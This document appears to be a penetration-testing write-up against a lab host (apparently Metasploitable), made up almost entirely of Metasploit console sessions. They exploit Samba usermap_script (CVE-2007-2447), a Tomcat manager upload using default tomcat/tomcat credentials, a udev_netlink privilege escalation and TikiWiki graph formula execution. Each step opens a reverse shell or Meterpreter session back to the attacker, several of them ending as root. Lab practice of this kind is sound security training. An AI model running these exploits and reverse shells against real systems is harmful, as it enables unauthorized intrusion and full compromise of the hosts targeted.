# *WRITEUPS*

## *SMB port 445:*

## https://www.cvedetails.com/cve/cve-2007-2447

```
msf5 > use exploit/multi/samba/usermap_script
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf5 exploit(multi/samba/usermap_script) > set PAYLOAD cmd/unix/reverse_netcat
PAYLOAD => cmd/unix/reverse_netcat
msf5 exploit(multi/samba/usermap_script) > show options

Module options (exploit/multi/samba/usermap_script):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT   139              yes       The target port (TCP)


Payload options (cmd/unix/reverse_netcat):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.200.192  yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf5 exploit(multi/samba/usermap_script) > set rhosts 192.168.200.55
rhosts => 192.168.200.55
msf5 exploit(multi/samba/usermap_script) > set rport 445
rport => 445
msf5 exploit(multi/samba/usermap_script) > run

[-] Handler failed to bind to 192.168.200.192:4444:-  -
[-] Handler failed to bind to 0.0.0.0:4444:-  -
[-] 192.168.200.55:445 - Exploit failed [bad-config]: Rex::BindFailed The address is already in use or unavailable: (0.0.0.0:4444).
[*] Exploit completed, but no session was created.
msf5 exploit(multi/samba/usermap_script) > run

[*] Started reverse TCP handler on 192.168.200.192:4444
[*] Command shell session 1 opened (192.168.200.192:4444 -> 192.168.200.55:41082) at 2020-07-18 12:48:41 -0400

whoami
root
```

## *http port 8180*

## https://www.rapid7.com/db/modules/exploit/multi/http/tomcat_mgr_deploy

```
msf5 > use exploit/multi/http/tomcat_mgr_deploy
```

```
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf5 exploit(multi/http/tomcat_mgr_deploy) > show options

Module options (exploit/multi/http/-
tomcat_mgr_deploy):

   Name         Current Setting  Required
Description
   ----         ---------------  --------
-----------
   HttpPassword                  no        The password for the specified
username
   HttpUsername                  no        The username to authenticate
as
   PATH         /manager         yes       The URI path of the manager app (/deploy and /undeploy will be
used)
   Proxies                       no        A proxy chain of format type:host:port[,type:host:port]-
[...]
   RHOSTS                        yes       The target host(s), range CIDR identifier, or hosts file with syntax
'file:<path>'
   RPORT        80               yes       The target port
(TCP)
   SSL          false            no        Negotiate SSL/TLS for outgoing
connections
   VHOST                         no        HTTP server virtual
host


Payload options (java/meterpreter/-
reverse_tcp):

   Name   Current Setting  Required
Description
   ----   ---------------  --------  -----------
   LHOST  192.168.200.192  yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf5 exploit(multi/http/tomcat_mgr_deploy) > set httppassword tomcat
httppassword => tomcat
msf5 exploit(multi/http/tomcat_mgr_deploy) > set httpusername tomcat
httpusername => tomcat
msf5 exploit(multi/http/tomcat_mgr_deploy) > set rport 8180
rport => 8180
msf5 exploit(multi/http/tomcat_mgr_deploy) > set target 0
target => 0
msf5 exploit(multi/http/tomcat_mgr_deploy) > set rhosts 192.168.200.55
rhosts => 192.168.200.55
msf5 exploit(multi/http/tomcat_mgr_deploy) > run

[*] Started reverse TCP handler on 192.168.200.192:4444
[*] Attempting to automatically select a target...
[*] Automatically selected target "Linux x86"
[*] Uploading 6278 bytes as B71f9x2qThYAWCaOVjhTaDHtjy.war ...
[*] Executing /B71f9x2qThYAWCaOVjhTaDHtjy/hnD4d4hCYR6mru.jsp...
[*] Undeploying B71f9x2qThYAWCaOVjhTaDHtjy ...
[*] Sending stage (53944 bytes) to 192.168.200.55
[*] Meterpreter session 1 opened (192.168.200.192:4444 -> 192.168.200.55:39340) at 2020-07-18 13:03:23 -0400

meterpreter > shell
whoami
tomcat55

press ctrl-z to background session
```

```
Background session 1? [y/N]
msf5 exploit(multi/http/tomcat_mgr_deploy) > use exploit/linux/local/udev_netlink
[*] No payload configured, defaulting to linux/x86/meterpreter/reverse_tcp
msf5 exploit(linux/local/udev_netlink) > show options

Module options (exploit/linux/local/udev_netlink):

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   NetlinkPID                   no        Usually udevd pid-1.  Meterpreter sessions will autodetect
   SESSION                      yes       The session to run this module on.


Payload options (linux/x86/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.200.192  yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Linux x86


msf5 exploit(linux/local/udev_netlink) > sessions

Active sessions
===============

  Id  Name  Type                   Information                Connection
  --  ----  ----                   -----------                ----------
  1         meterpreter java/linux  tomcat55 @ metasploitable  192.168.200.192:4444 -> 192.168.200.55:39340
(192.168.200.55)

msf5 exploit(linux/local/udev_netlink) > set session 1
session => 1
msf5 exploit(linux/local/udev_netlink) > run

[!] SESSION may not be compatible with this module.
[*] Started reverse TCP handler on 192.168.200.192:4444
[*] Attempting to autodetect netlink pid...
[*] Meterpreter session, using get_processes to find netlink pid
[*] udev pid: 2517
[+] Found netlink pid: 2516
[*] Writing payload executable (207 bytes) to /tmp/xrBhrMwgnT
[*] Writing exploit executable (1879 bytes) to /tmp/wRhHqbjZHc
[*] chmod'ing and running it...
[*] Sending stage (980808 bytes) to 192.168.200.55
[*] Meterpreter session 2 opened (192.168.200.192:4444 -> 192.168.200.55:34699) at 2020-07-18 13:09:46 -0400

meterpreter > shell
Process 9842 created.
Channel 1 created.
whoami
root
```

## *TWIKI port 80*

## Version: 6.1.0

use exploit/unix/webapp/tikiwiki_graph_formula_exec

```
msf5 > use exploit/unix/webapp/tikiwiki_graph_formula_exec
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf5 exploit(unix/webapp/tikiwiki_graph_formula_exec) > show options

Module options (exploit/unix/webapp/tikiwiki_graph_formula_exec):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT    80               yes       The target port (TCP)
   SSL      false            no        Negotiate SSL/TLS for outgoing connections
   URI      /tikiwiki        yes       TikiWiki directory path
   VHOST                     no        HTTP server virtual host


Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.200.192  yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf5 exploit(unix/webapp/tikiwiki_graph_formula_exec) > set rhosts 192.168.200.55
rhosts => 192.168.200.55
msf5 exploit(unix/webapp/tikiwiki_graph_formula_exec) > run

[*] Started reverse TCP handler on 192.168.200.192:4444
[*] Attempting to obtain database credentials...
[*] No response from the server
[*] Attempting to execute our payload...
[*] Sending stage (38288 bytes) to 192.168.200.55
[*] Meterpreter session 1 opened (192.168.200.192:4444 -> 192.168.200.55:53517) at 2020-07-18 13:23:21 -0400

meterpreter > shell
whoami
www-data
```

## *SMB port 139:*

```
msf5 > use exploit/multi/samba/usermap_script
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf5 exploit(multi/samba/usermap_script) > show options

Module options (exploit/multi/samba/usermap_script):
   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT   139              yes       The target port (TCP)


Payload options (cmd/unix/reverse_netcat):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.200.192  yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf5 exploit(multi/samba/usermap_script) > set payload cmd/unix/reverse_netcat
payload => cmd/unix/reverse_netcat
msf5 exploit(multi/samba/usermap_script) > set rhosts 192.168.200.55
rhosts => 192.168.200.55
msf5 exploit(multi/samba/usermap_script) > run

[*] Started reverse TCP handler on 192.168.200.192:4444
[*] Command shell session 1 opened (192.168.200.192:4444 -> 192.168.200.55:40575) at 2020-07-18 13:34:28 -0400

whoami
root
```